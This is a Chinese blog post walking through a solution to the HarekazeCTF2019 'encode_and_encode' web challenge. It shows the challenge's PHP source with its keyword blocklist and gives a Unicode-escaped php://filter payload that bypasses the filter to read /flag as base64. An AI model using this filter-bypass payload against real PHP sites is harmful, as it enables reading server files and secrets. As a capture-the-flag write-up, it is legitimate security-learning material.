首页 > 其他分享 >[HarekazeCTF2019]encode_and_encode 1

[HarekazeCTF2019]encode_and_encode 1

时间:2024-07-13 10:41:09浏览次数:7  
标签:u006f u002f content HarekazeCTF2019 u0065 u0072 encode

json绕过,waf绕过

打开之后可以直接看到源码

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

可以看到

入手点在这里但是有两层walf


一个是对注入有walf一个是对输出结果会进行替换,这里用到了json_decode的特性,他会对\uxx进行转义,也就是说我们只要进行unicode进行编码就可以传入,
但是这里还有一个输出的waf,我们可以直接用base64过滤器进行访问给内容加密,这样就可以正常输出正确的base值,现在只需要传参即可

php://filter/read=convert.base64-encode/resource=/flag
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

标签:u006f,u002f,content,HarekazeCTF2019,u0065,u0072,encode
From: https://www.cnblogs.com/z2gh/p/18299754

相关文章

  • VAE(Variational auto-encoder)
    1.VAE(Variationalauto-encoder)笔记来源及推荐文章:1.变分自编码器(一):原来是这么一回事2.变分自编码器(二):从贝叶斯观点出发3.变分自编码器(三):这样做为什么能成?4.变分自编码器(四):一步到位的聚类方案5.变分自编码器=最小化先验分布+最大化互信息6.变分自编码器(六):从几何......
  • T5架构和主流llama3架构有什么区别和优缺点、transformer中encoder 和decoder的不同、
    T5架构和主流llama3架构有什么区别和优缺点T5和LLaMA是两种在自然语言处理(NLP)领域广泛应用的大型语言模型,它们在架构和应用上有显著的区别和各自的优缺点。T5架构架构特点:Encoder-Decoder结构:T5(Text-to-TextTransferTransformer)采用了经典的Encoder-DecoderTransform......
  • jdk17 package sun.misc.BASE64Encoder 报找不到符号
    解决办法:对于只需要Base64编码的简单场景,可以考虑使用Java8及以上版本提供的内置`java.util.Base64`类,这是一个标准API,无需额外引入任何库: //importsun.misc.BASE64Encoder;//java8importjava.util.Base64;//java17publicclassBase64EncodingExample{......
  • 使用 PyTorch 创建的多步时间序列预测的 Encoder-Decoder 模型
    Encoder-decoder模型在序列到序列的自然语言处理任务(如语言翻译等)中提供了最先进的结果。多步时间序列预测也可以被视为一个seq2seq任务,可以使用encoder-decoder模型来处理。本文提供了一个用于解决Kaggle时间序列预测任务的encoder-decoder模型,并介绍了获得前10%结果......
  • AI模型大宗师Transformer的Encoder魔法棒
       在AI大模型数字王国里,有一位名叫Transformer的魔法大宗师。他有一个神奇的百宝箱,里面有很多魔法工具,其中有个工具叫Encoder,这个工具拥有一种神奇的力量,可以将复杂的输入信息进行编码,提取出关键的特征和依赖关系。   让我们来一起把这个工具掏出来细看一下,看看......
  • Transformer详解encoder
    目录1.InputEmbedding2.PositionalEncoding3.Multi-HeadAttention4.Add&Norm5.Feedforward+Add&Norm6.代码展示(1)layer_norm(2)encoder_layer=1最近刚好梳理了下transformer,今天就来讲讲它~        Transformer是谷歌大脑2017年在论文attention......
  • 最新最详细的media encoder安装包下载 附图文教程
    在我们学习英语的时候,有个ME的单词,代表“我”;同样,当我们学习视频编码的时候,ME代表了一款软件。AdobeMediaEncoder简称ME,是一款专业的视频编码软件。它主要用于将各种不同格式的视频、音频和图形文件转换成适合播放、流媒体传输或导出到其他项目中的格式。这个工具在音视频制......
  • 【异常】nested exception is java.lang.NoClassDefFoundError: redis/clients/jedis/
    原因是版本冲突。以下我原本使用的版本信息<!--SpringBootRedis依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><version>2.1.8.RELEASE</version><......
  • LLM大模型: FlagEmbedding-BiEncoderModel原理和源码解析
    NLP常见的任务之一是高效检索:在大规模语料库中快速检索与查询相关的段落或文档;用户输入query,要在语料库中找到语义最接近、最匹配的回答!此外,还有文本分类、情感分析等下游任务需要先把文本的embedding求出来,这些功能都能通过"双塔结构"(Bi-Encoder)实现!核心思路很简单:用两个不同......
  • AttributeError: ‘ChatGLMModel‘ object has no attribute ‘prefix_encoder‘
    AttributeError:‘ChatGLMModel‘objecthasnoattribute‘prefix_encoder‘:全面解析问题概述当您使用ChatGLM模型或相关库时遇到AttributeError:‘ChatGLMModel‘objecthasnoattribute‘prefix_encoder‘错误时,这意味着ChatGLMModel类中不存在prefix_encod......